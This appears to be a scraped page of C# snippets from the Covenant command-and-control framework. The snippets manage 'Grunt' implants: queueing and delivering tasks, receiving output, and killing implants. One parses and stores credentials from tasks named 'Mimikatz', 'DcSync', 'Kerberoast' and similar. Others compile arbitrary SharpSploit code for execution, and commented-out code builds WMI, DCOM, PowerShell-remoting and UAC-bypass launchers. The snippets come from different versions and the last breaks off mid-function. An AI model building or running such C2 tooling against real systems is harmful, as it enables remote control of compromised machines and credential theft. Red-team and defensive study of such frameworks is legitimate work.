示例#1
0
        public async Task <string> History(Grunt grunt, List <ParsedParameter> parameters)
        {
            string Name = "History";

            if (parameters.Count() != 2 || !parameters[0].Value.Equals(Name, StringComparison.OrdinalIgnoreCase))
            {
                StringBuilder toPrint1 = new StringBuilder();
                toPrint1.Append(EliteConsole.PrintFormattedErrorLine("Usage: History <tasking_name>"));
                return(toPrint1.ToString());
            }
            StringBuilder toPrint = new StringBuilder();
            GruntTasking  tasking = await _context.GruntTaskings.FirstOrDefaultAsync(GT => GT.Name == parameters[1].Value);

            if (tasking == null)
            {
                toPrint.Append(EliteConsole.PrintFormattedErrorLine("Invalid History command, invalid tasking name. Usage is: History [ <tasking_name> ]"));
            }
            else
            {
                GruntCommand command = await _context.GruntCommands
                                       .Include(GC => GC.CommandOutput)
                                       .Include(GC => GC.User)
                                       .FirstOrDefaultAsync(GC => GC.Id == tasking.GruntCommandId);

                toPrint.Append(EliteConsole.PrintFormattedInfoLine("[" + tasking.CompletionTime + " UTC] Grunt: " + grunt.Name + " " + "GruntTasking: " + tasking.Name));
                toPrint.Append(EliteConsole.PrintInfoLine("(" + command.User.UserName + ") > " + command.Command));
                toPrint.Append(EliteConsole.PrintInfoLine(command.CommandOutput.Output));
            }
            return(toPrint.ToString());
        }
示例#2
0
        public ActionResult <GruntTasking> EditGruntTasking(int id, string taskname, [FromBody] GruntTasking gruntTasking)
        {
            GruntTasking updatingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && taskname == GT.Name);

            if (updatingGruntTasking == null)
            {
                return(NotFound());
            }
            List <String> credTaskNames = new List <string> {
                "Mimikatz", "SamDump", "LogonPasswords", "DcSync", "Rubeus", "Kerberoast"
            };
            GruntTask gruntTask = _context.GruntTasks.FirstOrDefault(G => G.Id == gruntTasking.TaskId);

            if (credTaskNames.Contains(gruntTask.Name))
            {
                List <CapturedCredential> capturedCredentials = CapturedCredential.ParseCredentials(gruntTasking.GruntTaskOutput);
                foreach (CapturedCredential cred in capturedCredentials)
                {
                    if (!ContextContainsCredentials(cred))
                    {
                        _context.Credentials.Add(cred);
                        _context.SaveChanges();
                    }
                }
            }
            updatingGruntTasking.status          = gruntTasking.status;
            updatingGruntTasking.GruntTaskOutput = gruntTasking.GruntTaskOutput;
            _context.GruntTaskings.Update(updatingGruntTasking);
            _context.SaveChanges();

            return(Ok(updatingGruntTasking));
        }
示例#3
0
        // GET: /grunttasking/interact/{id}
        public async Task <IActionResult> Interact(int id)
        {
            try
            {
                GruntTasking tasking = await _context.GruntTaskings
                                       .Include(GT => GT.Grunt)
                                       .Include(GT => GT.GruntTask)
                                       .ThenInclude(GT => GT.Options)
                                       .Include(GT => GT.GruntCommand)
                                       .ThenInclude(GC => GC.CommandOutput)
                                       .Include(GT => GT.GruntCommand)
                                       .ThenInclude(GC => GC.User)
                                       .FirstOrDefaultAsync(GT => GT.Id == id);

                if (tasking == null)
                {
                    throw new ControllerNotFoundException($"NotFound - GruntTasking with id: {id}");
                }
                return(View(tasking));
            }
            catch (Exception e) when(e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException)
            {
                return(RedirectToAction(nameof(Index)));
            }
        }
示例#4
0
        // POST: /grunttasking/create
        public async Task <IActionResult> Create(GruntTasking tasking)
        {
            try
            {
                CovenantUser currentUser = await _context.GetCurrentUser(_userManager, HttpContext.User);

                tasking.Grunt = await _context.GetGrunt(tasking.GruntId);

                tasking.GruntTask = await _context.GetGruntTask(tasking.GruntTaskId);

                GruntCommand createdCommand = await _context.CreateGruntCommand(new GruntCommand
                {
                    Command         = GetCommand(tasking),
                    CommandTime     = DateTime.UtcNow,
                    CommandOutputId = 0,
                    CommandOutput   = new CommandOutput(),
                    User            = currentUser,
                    GruntId         = tasking.Grunt.Id,
                    Grunt           = tasking.Grunt
                }, _grunthub);

                tasking.GruntCommand   = createdCommand;
                tasking.GruntCommandId = createdCommand.Id;

                GruntTasking created = await _context.CreateGruntTasking(tasking);

                return(RedirectToAction(nameof(Interact), new { id = created.Id }));
            }
            catch (Exception e) when(e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException)
            {
                return(RedirectToAction(nameof(Index)));
            }
        }
        private GruntTaskingMessage GetGruntTaskingMessage(GruntTasking tasking, DotNetVersion version)
        {
            string Message = "";

            switch (tasking.Type)
            {
            case GruntTaskingType.Assembly:
                switch (version)
                {
                case DotNetVersion.Net35:
                    Message = Convert.ToBase64String(this.GetCompressedILAssembly35(tasking.GruntTask.Name));
                    if (tasking.Parameters.Any())
                    {
                        Message += "," + String.Join(",", tasking.Parameters.Select(P => Convert.ToBase64String(Common.CovenantEncoding.GetBytes(P))));
                    }
                    break;

                case DotNetVersion.Net40:
                    Message = Convert.ToBase64String(this.GetCompressedILAssembly40(tasking.GruntTask.Name));
                    if (tasking.Parameters.Any())
                    {
                        Message += "," + String.Join(",", tasking.Parameters.Select(P => Convert.ToBase64String(Common.CovenantEncoding.GetBytes(P))));
                    }
                    break;
                }
                break;

            case GruntTaskingType.SetDelay:
                Message = tasking.Parameters[0];
                break;

            case GruntTaskingType.SetJitter:
                Message = tasking.Parameters[0];
                break;

            case GruntTaskingType.SetConnectAttempts:
                Message = tasking.Parameters[0];
                break;

            case GruntTaskingType.Connect:
                Message = tasking.Parameters[0] + "," + tasking.Parameters[1];
                break;

            case GruntTaskingType.Disconnect:
                Message = tasking.Parameters[0];
                break;

            default:
                Message = string.Join(",", tasking.Parameters.Select(P => Convert.ToBase64String(Common.CovenantEncoding.GetBytes(P))));
                break;
            }
            return(new GruntTaskingMessage
            {
                Type = tasking.Type,
                Name = tasking.Name,
                Message = Message,
                Token = tasking.GruntTask == null ? false : tasking.GruntTask.TokenTask
            });
        }
示例#6
0
        public ActionResult <string> Get()
        {
            this.SetHeaders();
            string cookie = this.GetCookie();

            try
            {
                API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie);
                if (gruntModel == null || gruntModel.Status != GruntStatus.Active)
                {
                    // Invalid CookieAuthKey. May not be legitimate Grunt request, respond Ok
                    return(Ok());
                }
                gruntModel.LastCheckIn = DateTime.UtcNow;
                this.CovenantClient.ApiGruntsPut(gruntModel);
                GruntTasking gruntTasking = this.CovenantClient.ApiGruntsByIdTaskingsSearchUninitializedGet(gruntModel.Id ?? default)
                                            .FirstOrDefault();
                if (gruntTasking == null)
                {
                    // No GruntTasking assigned. Respond with empty template,
                    return(Ok(this.GetGetEmptyResponse()));
                }
                if (gruntTasking.Type == GruntTaskingType.Assembly)
                {
                    GruntTask task = this.CovenantClient.ApiGrunttasksByIdGet(gruntTasking.TaskId ?? default);
                    if (task == null)
                    {
                        // Can't find corresponding task. Should never reach this point. Will just respond NotFound.
                        return(NotFound());
                    }
                }
                gruntTasking.Status = GruntTaskingStatus.Tasked;
                this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking);

                API.Models.Grunt targetGruntModel           = this.CovenantClient.ApiGruntsByIdGet(gruntTasking.GruntId ?? default);
                Models.Grunts.GruntEncryptedMessage message = null;
                try
                {
                    message = this.CreateMessageForGrunt(gruntModel, targetGruntModel, gruntTasking.GruntTaskingMessage);
                }
                catch (HttpOperationException)
                {
                    // Change to new Status: Aborted?
                    gruntTasking.Status = GruntTaskingStatus.Completed;
                    this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking);
                    return(NotFound());
                }
                // Transform response
                string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
                // Format transformed response
                string response = String.Format(this.Profile.HttpPostResponse, transformed);
                return(Ok(response));
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
        }
示例#7
0
 public ActionResult<GruntTasking> GetGruntTasking(int id, string taskname)
 {
     GruntTasking gruntTasking = _context.GruntTaskings.FirstOrDefault(GT => GT.GruntId == id && GT.Name == taskname);
     if (gruntTasking == null)
     {
         return NotFound();
     }
     return Ok(gruntTasking);
 }
示例#8
0
        public ActionResult DeleteGruntTasking(int id, string taskname)
        {
            GruntTasking removingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && GT.Name == taskname);
            if (removingGruntTasking == null)
            {
                return NotFound();
            }

            _context.GruntTaskings.Remove(removingGruntTasking);
            _context.SaveChanges();

            return new NoContentResult();
        }
示例#9
0
        private static string GetCommand(GruntTasking tasking)
        {
            string command = tasking.GruntTask.Name;

            for (int i = 0; i < tasking.Parameters.Count; i++)
            {
                if (tasking.GruntTask.Options[i].DisplayInCommand)
                {
                    command += " /" + tasking.GruntTask.Options[i].Name.ToLower() + ":\"" + tasking.Parameters[i].Replace("\"", "\\\"") + "\"";
                }
            }
            return(command);
        }
示例#10
0
        // POST: /grunttasking/create
        public async Task <IActionResult> Create(GruntTasking tasking)
        {
            try
            {
                CovenantUser currentUser = await _context.GetCurrentUser(_userManager, HttpContext.User);

                tasking.Grunt = await _context.GetGrunt(tasking.GruntId);

                tasking.GruntTask = await _context.GetGruntTask(tasking.GruntTaskId);

                tasking.Type = tasking.GruntTask.TaskingType;
                for (int i = 0; i < Math.Min(tasking.Parameters.Count, tasking.GruntTask.Options.Count); i++)
                {
                    if (tasking.Parameters[i] == null)
                    {
                        tasking.Parameters[i] = "";
                        tasking.GruntTask.Options[i].Value = "";
                    }
                    else
                    {
                        tasking.GruntTask.Options[i].Value = tasking.Parameters[i];
                    }
                }
                for (int i = tasking.Parameters.Count; i < tasking.GruntTask.Options.Count; i++)
                {
                    tasking.GruntTask.Options[i].Value = "";
                }
                GruntCommand createdCommand = await _context.CreateGruntCommand(new GruntCommand
                {
                    Command         = GetCommand(tasking),
                    CommandTime     = DateTime.UtcNow,
                    CommandOutputId = 0,
                    CommandOutput   = new CommandOutput(),
                    User            = currentUser,
                    GruntId         = tasking.Grunt.Id,
                    Grunt           = tasking.Grunt
                }, _grunthub, _eventhub);

                tasking.GruntCommand   = createdCommand;
                tasking.GruntCommandId = createdCommand.Id;

                GruntTasking created = await _context.CreateGruntTasking(tasking, _grunthub);

                return(RedirectToAction(nameof(Interact), new { id = created.Id }));
            }
            catch (Exception e) when(e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException)
            {
                return(RedirectToAction(nameof(Index)));
            }
        }
示例#11
0
        public ActionResult<GruntTasking> EditGruntTasking(int id, string taskname, [FromBody] GruntTasking gruntTasking)
        {
            GruntTasking updatingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && taskname == GT.Name);
            if (updatingGruntTasking == null)
            {
                return NotFound();
            }
            updatingGruntTasking.status = gruntTasking.status;
            updatingGruntTasking.GruntTaskOutput = gruntTasking.GruntTaskOutput;
            _context.GruntTaskings.Update(updatingGruntTasking);
            _context.SaveChanges();

            return Ok(updatingGruntTasking);
        }
示例#12
0
        public override void Command(MenuItem menuItem, string UserInput)
        {
            GruntTask    task         = ((TaskMenuItem)menuItem).task = this.CovenantClient.ApiGruntTasksByIdGet(((TaskMenuItem)menuItem).task.Id ?? default);
            Grunt        grunt        = ((TaskMenuItem)menuItem).grunt;
            GruntTasking gruntTasking = new GruntTasking {
                TaskId = task.Id, GruntId = grunt.Id
            };
            GruntTasking postedGruntTasking = this.CovenantClient.ApiGruntsByIdTaskingsPost(grunt.Id ?? default, gruntTasking);

            if (postedGruntTasking != null)
            {
                EliteConsole.PrintFormattedHighlightLine("Started Task: " + task.Name + " on Grunt: " + grunt.Name + " as GruntTask: " + postedGruntTasking.Name);
            }
        }
示例#13
0
        public ActionResult DeleteGruntTasking(int id, int tid)
        {
            GruntTasking removingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && GT.Id == tid);

            if (removingGruntTasking == null)
            {
                return(NotFound($"NotFound - GruntTasking with id: {tid} and Grunt id: {id}"));
            }

            _context.GruntTaskings.Remove(removingGruntTasking);
            _context.SaveChanges();

            return(new NoContentResult());
        }
 public async Task <ActionResult <GruntTasking> > EditGruntTasking([FromBody] GruntTasking gruntTasking)
 {
     try
     {
         return(await _service.EditGruntTasking(gruntTasking));
     }
     catch (ControllerNotFoundException e)
     {
         return(NotFound(e.Message));
     }
     catch (ControllerBadRequestException e)
     {
         return(BadRequest(e.Message));
     }
 }
示例#15
0
        // post task
        private ActionResult PostTask(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage outputMessage)
        {
            string cookie = this.GetCookie();

            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active || egressGrunt.CookieAuthKey != cookie)
            {
                // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            string TaskName = outputMessage.Meta;

            if (string.IsNullOrWhiteSpace(TaskName))
            {
                // Invalid task response. This happens on post-register write
                return(NotFound());
            }
            GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsDetailGet(targetGrunt.Id ?? default).FirstOrDefault(T => T.Name == TaskName);

            if (gruntTasking == null || targetGrunt.Id != gruntTasking.GruntId)
            {
                // Invalid taskname. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            var realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);

            if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active)
            {
                // Invalid Grunt. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey)))
            {
                // Invalid signature. Almost certainly not a legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage));

            gruntTasking.GruntTaskOutput = taskOutput;
            gruntTasking.Status          = GruntTaskingStatus.Completed;
            this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking);
            targetGrunt             = this.CovenantClient.ApiGruntsByIdGet(targetGrunt.Id ?? default);
            targetGrunt.LastCheckIn = DateTime.UtcNow;
            this.CovenantClient.ApiGruntsPut(targetGrunt);

            return(Ok());
        }
示例#16
0
        public override void Command(MenuItem menuItem, string UserInput)
        {
            GruntsMenuItem gruntsMenuItem = (GruntsMenuItem)menuItem;

            string[] commands = UserInput.Split(" ");
            if (commands.Length != 2 || commands[0].ToLower() != "kill")
            {
                menuItem.PrintInvalidOptionError(UserInput);
                return;
            }
            if (commands[1].ToLower() == "all")
            {
                EliteConsole.PrintFormattedWarning("Kill all Grunts? [y/N] ");
                string input1 = EliteConsole.Read();
                if (!input1.ToLower().StartsWith("y"))
                {
                    return;
                }
                gruntsMenuItem.HiddenGruntNames.AddRange(gruntsMenuItem.Grunts.Select(G => G.Name));
                foreach (Grunt g in gruntsMenuItem.Grunts)
                {
                    GruntTasking gt = new GruntTasking {
                        Type = GruntTaskingType.Kill, GruntId = g.Id
                    };
                    this.CovenantClient.ApiGruntsByIdTaskingsPost(g.Id ?? default, gt);
                }
            }
            Grunt grunt = gruntsMenuItem.Grunts.FirstOrDefault(G => G.Name == commands[1]);

            if (grunt == null)
            {
                EliteConsole.PrintFormattedErrorLine("Invalid GruntName: \"" + commands[1] + "\"");
                menuItem.PrintInvalidOptionError(UserInput);
                return;
            }
            EliteConsole.PrintFormattedWarning("Kill Grunt: " + commands[1] + "? [y/N] ");
            string input2 = EliteConsole.Read();

            if (!input2.ToLower().StartsWith("y"))
            {
                return;
            }
            GruntTasking gruntTasking = new GruntTasking {
                Type = GruntTaskingType.Kill, GruntId = grunt.Id
            };

            this.CovenantClient.ApiGruntsByIdTaskingsPost(grunt.Id ?? default, gruntTasking);
        }
示例#17
0
        public ActionResult <GruntTasking> GetGruntTaskingDetail(int id, int tid)
        {
            Grunt grunt = _context.Grunts.FirstOrDefault(G => G.Id == id);

            if (grunt == null)
            {
                return(NotFound($"NotFound - Grunt with id: {id}"));
            }
            GruntTasking gruntTasking = _context.GruntTaskings.FirstOrDefault(GT => GT.GruntId == grunt.Id && GT.Id == tid);

            if (gruntTasking == null)
            {
                return(NotFound($"NotFound - GruntTasking with id: {tid}"));
            }
            return(gruntTasking);
        }
        public async Task <ActionResult <GruntTasking> > CreateGruntTasking([FromBody] GruntTasking gruntTasking)
        {
            try
            {
                GruntTasking tasking = await _service.CreateGruntTasking(gruntTasking);

                return(CreatedAtRoute(nameof(GetGruntTasking), new { tid = tasking.Id }, tasking));
            }
            catch (ControllerNotFoundException e)
            {
                return(NotFound(e.Message));
            }
            catch (ControllerBadRequestException e)
            {
                return(BadRequest(e.Message));
            }
        }
示例#19
0
        public ActionResult <string> Get()
        {
            this.SetHeaders();
            string cookie = this.GetCookie();

            API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Active)
            {
                // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            gruntModel.LastCheckIn = DateTime.Now.ToString();
            CovenantClient.ApiGruntsPut(gruntModel);
            GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsGet(gruntModel.Id ?? default).FirstOrDefault(GT => GT.Status == GruntTaskingStatus.Uninitialized);

            if (gruntTasking == null)
            {
                // No GruntTasking assigned. Respond with empty template,
                return(Ok(this.GetGetEmptyResponse()));
            }
            if (gruntTasking.Type == GruntTaskingType.Assembly)
            {
                GruntTask task = CovenantClient.ApiGruntTasksByIdGet(gruntTasking.TaskId ?? default);
                if (task == null)
                {
                    // Can't find corresponding task. Should never reach this point. Will just respond NotFound.
                    return(NotFound());
                }
            }
            gruntTasking.Status = GruntTaskingStatus.Tasked;
            CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking);

            string responseTasking = JsonConvert.SerializeObject(gruntTasking.TaskingMessage);
            var    message         = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
                Covenant.Models.Grunts.Grunt.Create(gruntModel),
                Common.CovenantEncoding.GetBytes(responseTasking)
                );
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
示例#20
0
        public override async void Command(MenuItem menuItem, string UserInput)
        {
            Grunt grunt = ((TaskMenuItem)menuItem).Grunt;

            try
            {
                GruntTask    task         = ((TaskMenuItem)menuItem).Task;
                GruntTasking gruntTasking = new GruntTasking
                {
                    TaskId         = task.Id,
                    GruntId        = grunt.Id,
                    Type           = GruntTaskingType.Assembly,
                    Status         = GruntTaskingStatus.Uninitialized,
                    TokenTask      = task.TokenTask,
                    TaskingCommand = UserInput.ToLower() == "Start" ? (task.Name + " " + String.Join(' ', task.Options.Select(O => "/" + O.Name.ToLower() + " " + O.Value).ToList())) : UserInput
                };
                await this.CovenantClient.ApiGruntsByIdTaskingsPostAsync(grunt.Id ?? default, gruntTasking);
            }
            catch (HttpOperationException)
            {
                EliteConsole.PrintFormattedErrorLine("Failed starting task on Grunt: " + grunt.Name);
            }
        }
示例#21
0
 public async Task NotifyEditGruntTasking(object sender, GruntTasking tasking)
 {
     await Task.Run(() => this.OnEditGruntTasking(sender, tasking));
 }
示例#22
0
        //This is what actually compiles the code
        public async Task <GruntTasking> CreateGruntTasking(GruntTasking tasking)
        {
            //I don't think we need this part at the moment
            //
            //tasking.Grunt = await this.GetGrunt(tasking.GruntId);
            //tasking.Grunt.Listener = await this.GetListener(tasking.Grunt.ListenerId);
            //tasking.GruntTask = await this.GetGruntTask(tasking.GruntTaskId);
            //tasking.GruntCommand = await this.GetGruntCommand(tasking.GruntCommandId);
            //tasking.GruntCommand.CommandOutput ??= await this.GetCommandOutput(tasking.GruntCommand.CommandOutputId);
            List <string> parameters = tasking.GruntTask.Options.OrderBy(O => O.Id).Select(O => string.IsNullOrEmpty(O.Value) ? O.DefaultValue : O.Value).ToList();

            /*if (tasking.GruntTask.Name.Equals("powershell", StringComparison.OrdinalIgnoreCase) && !string.IsNullOrWhiteSpace(tasking.Grunt.PowerShellImport))
             * {
             *  parameters[0] = Common.CovenantEncoding.GetString(Convert.FromBase64String(tasking.Grunt.PowerShellImport)) + "\r\n" + parameters[0];
             * }
             * else if (tasking.GruntTask.Name.Equals("powershellimport", StringComparison.OrdinalIgnoreCase))
             * {
             *  if (parameters.Count >= 1)
             *  {
             *      string import = parameters[0];
             *      byte[] importBytes = Convert.FromBase64String(import);
             *      if (importBytes.Length >= 3 && importBytes[0] == 0xEF && importBytes[1] == 0xBB && importBytes[2] == 0xBF)
             *      {
             *          import = Convert.ToBase64String(importBytes.Skip(3).ToArray());
             *      }
             *      tasking.Grunt.PowerShellImport = import;
             *  }
             *  else
             *  {
             *      tasking.Grunt.PowerShellImport = "";
             *  }
             *  _context.Grunts.Update(tasking.Grunt);
             *  tasking.GruntCommand.CommandOutput.Output = "PowerShell Imported";
             *
             *  _context.GruntCommands.Update(tasking.GruntCommand);
             *  await _context.SaveChangesAsync();
             *  await _notifier.NotifyEditGrunt(this, tasking.Grunt);
             *  await _notifier.NotifyEditGruntCommand(this, tasking.GruntCommand);
             *  tasking.Status = GruntTaskingStatus.Completed;
             * }
             * else if (tasking.GruntTask.Name.Equals("wmigrunt", StringComparison.OrdinalIgnoreCase))
             * {
             *  Launcher l = await _context.Launchers.FirstOrDefaultAsync(L => L.Name.ToLower() == parameters[1].ToLower());
             *  if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
             *  {
             *      throw new ControllerNotFoundException($"NotFound - Launcher with name: {parameters[1]}");
             *  }
             *
             *  // Add .exe extension if needed
             *  List<string> split = l.LauncherString.Split(" ").ToList();
             *  parameters[1] = split.FirstOrDefault();
             *  if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[1] += ".exe"; }
             *
             *  // Add Directory
             *  string Directory = "C:\\Windows\\System32\\";
             *  if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; }
             *  else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; }
             *  if (!parameters[1].StartsWith("C:\\", StringComparison.OrdinalIgnoreCase)) { parameters[1] = Directory + parameters[1]; }
             *  if (split.Count > 1) { parameters[1] += " " + String.Join(" ", split.Skip(1).ToArray()); }
             * }
             * else if (tasking.GruntTask.Name.Equals("dcomgrunt", StringComparison.OrdinalIgnoreCase))
             * {
             *  Launcher l = await _context.Launchers.FirstOrDefaultAsync(L => L.Name.ToLower() == parameters[1].ToLower());
             *  if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
             *  {
             *      throw new ControllerNotFoundException($"NotFound - Launcher with name: {parameters[1]}");
             *  }
             *  // Add .exe extension if needed
             *  List<string> split = l.LauncherString.Split(" ").ToList();
             *  parameters[1] = split.FirstOrDefault();
             *  if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[1] += ".exe"; }
             *
             *  // Add command parameters
             *  split.RemoveAt(0);
             *  parameters.Insert(2, String.Join(" ", split.ToArray()));
             *
             *  // Add Directory
             *  string Directory = "C:\\Windows\\System32\\";
             *  if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; }
             *  else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; }
             *  if (!parameters[1].StartsWith("C:\\", StringComparison.OrdinalIgnoreCase)) { parameters[1] = Directory + parameters[1]; }
             *
             *  parameters.Insert(3, Directory);
             * }
             * else if (tasking.GruntTask.Name.Equals("powershellremotinggrunt", StringComparison.OrdinalIgnoreCase))
             * {
             *  Launcher l = await _context.Launchers.FirstOrDefaultAsync(L => L.Name.ToLower() == parameters[1].ToLower());
             *  if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
             *  {
             *      throw new ControllerNotFoundException($"NotFound - Launcher with name: {parameters[1]}");
             *  }
             *  // Add .exe extension if needed
             *  List<string> split = l.LauncherString.Split(" ").ToList();
             *  parameters[1] = split.FirstOrDefault();
             *  if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[1] += ".exe"; }
             *  // Add Directory
             *  string Directory = "C:\\Windows\\System32\\";
             *  if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; }
             *  else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; }
             *  if (!parameters[1].StartsWith("C:\\", StringComparison.OrdinalIgnoreCase)) { parameters[1] = Directory + parameters[1]; }
             *  parameters[1] = parameters[1] + " " + string.Join(" ", split.Skip(1).ToList());
             * }
             * else if (tasking.GruntTask.Name.Equals("bypassuacgrunt", StringComparison.OrdinalIgnoreCase))
             * {
             *  Launcher l = await _context.Launchers.FirstOrDefaultAsync(L => L.Name.ToLower() == parameters[0].ToLower());
             *  if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
             *  {
             *      throw new ControllerNotFoundException($"NotFound - Launcher with name: {parameters[0]}");
             *  }
             *  // Add .exe extension if needed
             *  string[] split = l.LauncherString.Split(" ");
             *  parameters[0] = split.FirstOrDefault();
             *  if (!parameters[0].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[0] += ".exe"; }
             *
             *  // Add parameters need for BypassUAC Task
             *  string ArgParams = String.Join(" ", split.ToList().GetRange(1, split.Count() - 1));
             *  string Directory = "C:\\Windows\\System32\\";
             *  if (parameters[0].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; }
             *  else if (parameters[0].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; }
             *
             *  parameters.Add(ArgParams);
             *  parameters.Add(Directory);
             *  parameters.Add("0");
             * }
             * else*/
            if (tasking.GruntTask.Name.Equals("SharpShell", StringComparison.CurrentCultureIgnoreCase))
            {
                string WrapperFunctionFormat =
                    @"using System;
using System.IO;
using System.Linq;
using System.Text;
using System.Security;
using System.Security.Principal;
using System.Collections.Generic;
using SharpSploit.Credentials;
using SharpSploit.Enumeration;
using SharpSploit.Execution;
using SharpSploit.Generic;
using SharpSploit.Misc;
using SharpSploit.LateralMovement;

public static class Task
{{
    public static string Execute()
    {{
        {0}
    }}
}}";
                string csharpcode = string.Join(" ", parameters);
                tasking.GruntTask.Code     = string.Format(WrapperFunctionFormat, csharpcode);
                tasking.GruntTask.Compiled = false;
                _context.Update(tasking.GruntTask);
                parameters = new List <string> {
                };
            }

            /*else if (tasking.GruntTask.Name.Equals("Disconnect", StringComparison.CurrentCultureIgnoreCase))
             * {
             *  Grunt g = await this.GetGruntByName(parameters[0]);
             *  parameters[0] = g.GUID;
             * }
             * else if (tasking.GruntTask.Name.Equals("Connect", StringComparison.CurrentCultureIgnoreCase))
             * {
             *  parameters[0] = parameters[0] == "localhost" ? tasking.Grunt.Hostname : parameters[0];
             *  parameters[0] = parameters[0] == "127.0.0.1" ? tasking.Grunt.IPAddress : parameters[0];
             * }*/
            tasking.Parameters = parameters;
            try
            {
                //tasking.GruntTask.Compile(tasking.runtimeIdentifier);
            }
            catch (CompilerException e)
            {
                Console.WriteLine("compile failed");
            }

            /*await _context.GruntTaskings.AddAsync(tasking);
             * await _context.SaveChangesAsync();
             * tasking.GruntCommand.GruntTaskingId = tasking.Id;
             * tasking.GruntCommand.GruntTasking = tasking;
             * await this.EditGruntCommand(tasking.GruntCommand);
             * Grunt parent = (await this.GetParentGrunt(tasking.Grunt)) ?? tasking.Grunt;
             * parent.Listener = await this.GetListener(parent.ListenerId);
             * await _notifier.NotifyCreateGruntTasking(this, tasking);
             * await _notifier.NotifyNotifyListener(this, parent);*/
            return(tasking);
        }
示例#23
0
        public ActionResult <GruntTasking> CreateGruntTasking(int id, [FromBody] GruntTasking gruntTasking)
        {
            Grunt grunt = _context.Grunts.FirstOrDefault(G => G.Id == id);

            if (grunt == null)
            {
                return(NotFound());
            }
            if (gruntTasking.type == GruntTasking.GruntTaskingType.Assembly)
            {
                GruntTask task = _context.GruntTasks.FirstOrDefault(T => T.Id == gruntTasking.TaskId);
                if (task == null)
                {
                    return(NotFound());
                }
                task.Options = _context.GruntTaskOptions.Where(O => O.TaskId == task.Id).ToList();
                List <string> parameters = task.Options.OrderBy(O => O.OptionId).Select(O => O.Value).ToList();
                if (task.Name.ToLower() == "wmi")
                {
                    Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[3].ToLower());
                    if ((parameters[4] != null && parameters[4] != "") || l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
                    {
                        // If using custom command
                        // Remove the "Launcher" parameter
                        parameters.RemoveAt(3);
                    }
                    else
                    {
                        // If using Launcher
                        // Remove the "Command" parameter
                        parameters.RemoveAt(4);

                        // Set LauncherString to WMI command parameter
                        parameters[3] = l.LauncherString;
                    }
                }
                else if (task.Name.ToLower() == "dcom")
                {
                    Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[1].ToLower());
                    if ((parameters[2] != null && parameters[2] != "") || l == null || l.LauncherString == null || l.LauncherString.Trim() == "")
                    {
                        // If using custom command
                        // Remove the "Launcher" parameter
                        parameters.RemoveAt(1);

                        // Add .exe exetension if needed
